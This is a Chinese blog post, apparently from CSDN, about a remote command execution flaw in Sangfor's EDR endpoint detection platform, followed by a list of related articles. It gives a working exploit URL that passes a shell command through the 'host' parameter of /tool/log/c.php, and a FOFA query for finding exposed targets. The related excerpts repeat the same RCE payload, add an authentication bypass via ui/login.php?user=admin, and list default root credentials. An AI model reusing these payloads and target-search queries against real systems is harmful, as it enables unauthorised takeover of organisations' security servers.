深信服 EDR终端检测响应平台RCE漏洞

RCE漏洞详解
最新推荐文章于 2021-06-24 08:56:53 发布
原创 最新推荐文章于 2021-06-24 08:56:53 发布 · 1.6k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #安全漏洞

本文介绍了一个通过修改host参数实现远程代码执行（RCE）的payload案例，展示了如何利用特定URL进行攻击。文中提及的fofa语法可用于搜索潜在的易受攻击目标。然而，鉴于资产主要位于国内，作者呼吁不要随意进行攻击。

payload

https://ip+端口/tool/log/c.php?strip_slashes=system&host=whoami

改改host的参数就能rce
fofa语法

title="终端检测响应平台"

在这里插入图片描述
处理方式
只能暂时下线，貌似问题还比较多，很多要重写
资产基本是国内的，别乱打了，，，

【漏洞复现】深信服科技EDR平台存在任意用户登录漏洞
失心少年
09-08 1001
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！深信服终端检测响应平台EDR,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。fofa：title=“终端检测响应平台”
深信服终端检测响应平台EDR-远程命令执行漏洞
chaojixiaojingang
08-21 2547
1.漏洞描述 深信服终端检测响应平台EDR存在远程命令执行漏洞，通过远程访问目标文件，造成远程命令执行，获取服务器完全控制权限。 2.资产查找 Fofa: app="深信服-终端检测响应平台EDR" 3.漏洞复现 1）访问深信服终端检测响应平台：https://xx.xx.xx.37/ui/login.php 2）远程访问目标文件：https://xx.xx.xx.37/tool/log/c.php 3）远程命令执行：https://xx.xx.xx.37/tool/lo...
sangfor EDR RCE
03-29
# Sangfor EDR RCE 影响版本: - EDR v3.2.16 - EDR v3.2.17 - EDR v3.2.19 exp: ``` python poc.py url http://10.10.10.0/ ```
深信服EDR远程命令执行
m0_48520508的博客
08-20 5961
0x00简介 深信服EDR属于终端安全产品部，是深信服公司在安全业务的战略级投入产品。终端安全部门负责下一代终端安全解决方案的产品研发，基于先进的AI技术和高效的安全领域经验， 建设深信服整体安全解决方案的端点响应能力，与云、网、端产品联动，构建面向未来、有效防御的闭环体系。 0x01利用方法 1.https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id 2.linux读取文件 3.验证码绕过 // 校验验证码 if (
深信服 EDR 终端检测响应平台 -2020HW
战神/calmness的博客
09-25 930
目录 描述 影响 ​任意用户登录 RCE 【修复建议】 深信服 EDR 终端检测响应平台 0day RCE 漏洞 描述 深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时，通过云网端联动协同、威胁情报共享、多层级响应机制，帮助用户快速处置终端安全问题，构建轻量级、智能化、响应快的下一代终端安全系统。 影响 攻击者可以通过构造payload绕过登录判断，
深信服EDR终端检测响应平台RCE漏洞复现
m0_37777713的博客
08-18 4545
深信服EDR终端检测响应平台RCE漏洞复现 背景介绍 早在2019年11月份的时候，就有人爆出有人手里屯着深信服某产品的0day。由于是0day,当然没有人见过，也就不了了之。就在昨天，HW正式开始的第一天，有个铁憨憨在某军500人的群聊中放出了深信服EDR的复现过程截图，然后这张图就瞬间在安全圈子内传遍了。 复现过程 我们在fofa，Zoomeye等一些引擎上搜索关键字就可以找到一大堆对公网开放的EDR。以fofa为例，搜索title="终端检测响应平台" 接着，随便点开一个进行测试，找到登录界面，确
深信服 EDR终端检测响应平台RCE漏洞代码分析
shy的博客
08-18 7894
一觉醒来，听说护网蓝队捕获了一个深信服的0day，待我看完这部局再分析一下。 EDR简介 终端检测响应平台（EDR）是深信服公司提供的一套终端安全解决方案，方案由轻量级的端点安全软件（Agent）和管理平台（MGR）共同组成。 fofa语法 title="终端检测响应平台" 漏洞复现 https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 代码分析 将c.php文件拷贝到本地进行分析 $_REQUEST会将接入..
深信服edr终端检测响应平台（_3.2.21）代码审计挖掘（RCE）1
08-03
【深信服edr终端检测响应平台（3.2.21）代码审计挖掘（RCE）1】涉及的知识点： 1. **代码审计**：代码审计是安全专家通过检查软件源代码或二进制代码，查找潜在的安全漏洞和错误的过程。在本案例中，审计的目标是...
深信服 EDR终端检测响应平台-RCE-0day漏洞
土豆的博客
08-20 1586
注:本文仅供学习使用,请勿用于非法操作,后果与作者无关! 0x01 介绍 深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时，通过云网端联动协同、威胁情报共享、多层级响应机制，帮助用户快速处置终端安全问题，构建轻量级、智能化、响应快的下一代终端安全系统。    0x02 RCE 1、本标题译为远程代码执行（remote command/code execute） 2、
深信服EDR终端检测平台-RCE漏洞复现
thelostworld
08-18 2417
​昨晚通宵，刚刚睡醒发现群里面炸锅了-EDR终端检测平台RCE 自己也来看看。 简介： EDR简介（来自官方）： 终端检测响应平台（EDR）是深信服公司提供的一套终端安全解决方案，方案由轻量级的端点安全软件（Agent）和管理平台（MGR）共同组成。 EDR的管理平台支持统一的终端资产管理、终端病毒查杀、终端合规检查，支持微隔离的访问控制策略统一管理，支持对安全事件的一键隔离处置，以及热点事件IOC的全网威胁定位。 端点软件支持防病毒功能、入侵防御功能、防火墙隔离功能、数据信息采集上报、一键处置等。深信服
深信服 EDR终端检测响应平台-任意用户免密登录漏洞
土豆的博客
08-20 2335
0x01 介绍   深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时，通过云网端联动协同、威胁情报共享、多层级响应机制，帮助用户快速处置终端安全问题，构建轻量级、智能化、响应快的下一代终端安全系统。 0x02 fofa： title=“SANGFOR终端检测响应平台” 0x03 payload: https://ip/ui/login.php?user=admin 回
深信服PHP,深信服终端检测响应平台 EDR 代码审计
weixin_30089411的博客
03-19 2658
今年 HW 深信服的 EDR 爆出了一些很低级的漏洞，也看到网上不少人再吐槽，国光也忍不住来分析复现看看。基本配置信息网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像，下面国光简单分享记录一下相关信息，然后面看到的朋友少走弯路。首先 ISO 安装的话，不要使用快速安装，直接挂载即可，相关的账号密码为：用户名密码rootedr@sangfor安装完成默认是静态 IP，得配置...
深信服行为感知系统和终端检测响应平台EDR REC复现渗透测试
kelenwait的博客
06-24 2036
简介 深信服行为感知系统和终端检测响应平台EDR是深信服科技股份有限公司推出的安全产品，其行为感知系统 c.php 存在远程命令执行漏洞，与其相同模板的还有部分EDR,同样导致远程命令执行。 漏洞影响 深信服EDR 3.2.16 深信服EDR 3.2.17 深信服EDR 3.2.19 深信服 行为感知系统 漏洞复现 登录界面 c.php 远程命令执行漏洞 使用以下poc进行访问 /tool/log/c.php?strip_slashes=system&host=echo hello /tool/l
深信服EDR漏洞复现
黑白的博客
11-06 1929
声明 往后，复现的每个漏洞，我都会分享出来，希望可以通过这种方式，提高自己的能力，也希望大家可以一起学习，共同进步 漏洞描述 据说是有人把源码放网上了，不过看了看源码审计的骨偶成，也确实利用php反序列化，从而RCE 深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。支持统一化的终端资产管理、终端病毒查杀、终端合规性检查和访问控制策略管理，支持对安全事件的一键隔离处置，以及对热点事件IOC
深信服EDR(终端检测响应平台)任意用户登录POC
Websec
08-20 4762
深信服edr远程命令执行复现 1、POC payload: https://ip/ui/login.php?user=(随便写个可使用的账户即可) 例如: https://xxxxx/ui/login.php?user=admin 输入完毕以后即可使用admin权限直接登录平台 2、FOFA语法 语法 title="终端检测响应平台" https://fofa.so/result?q=%E7%BB%88%E7%AB%AF%E6%A3%80%E6%B5%8B%E5%93%8D%E5%BA%94.
深信服EDR（终端检测响应平台）远程命令执行
Websec
08-18 4585
深信服edr远程命令执行复现 1、POC http:xxxxxx/tool/log/c.php?strip_slashes=system&host=id 2、FOFA语法 语法 title="终端检测响应平台" https://fofa.so/result?q=%E7%BB%88%E7%AB%AF%E6%A3%80%E6%B5%8B%E5%93%8D%E5%BA%94%E5%B9%B3%E5%8F%B0 3、案例复现 漏洞页面: ...
powershell杀软,EDR检测
test1988x的博客
01-09 806
地址:https://github.com/PwnDexter/Invoke-EDRChecker powershell导入模块 PS C:\Users\Invoke-EDRChecker> Import-Module .\Invoke-EDRChecker.ps1 PS C:\Users\Invoke-EDRChecker> Invoke-EDRChecker ...
深信服EDR终端检测响应平台漏洞_2020HW
薄炙厚词的博客
08-21 1488
深信服edr 2020HW 0day 远程命令执行漏洞 远程代码执行漏洞 任意用户登陆漏洞 免密码登陆 Payload 使用浏览器访问 https://ip:prot/ui/login.php?user=任意字符 原文链接 远程命令执行 使用浏览器访问 https://ip:prot/tool/log/c.php?strip_slashes=system&host=whoami https://ip:prot/tool/log/c.php?strip_slashes=system&ho
深信服EDR
weixin_44508748的博客
11-24 1760
深信服EDR 任意用户登录 fofa语法： body="终端检测响应平台" title="终端检测响应平台" title="SANGFOR终端检测响应平台" payload: https://1.1.1.1/ui/login.php?user=admin EDR RCE poc https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=id https://x.x.x.x/tool/log/c.php?strip_slashes=s
"深信服edr终端检测响应平台权限绕过代码审计挖掘与分析
最近收到有关深信服edr终端检测响应平台（_3.2.21版本）存在代码未授权远程命令执行（RCE）漏洞的情报，为了对该漏洞进行深入研究，我们进行了代码审计和漏洞挖掘。 前几天，我们从其他社群中得到了一些源代码，并...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值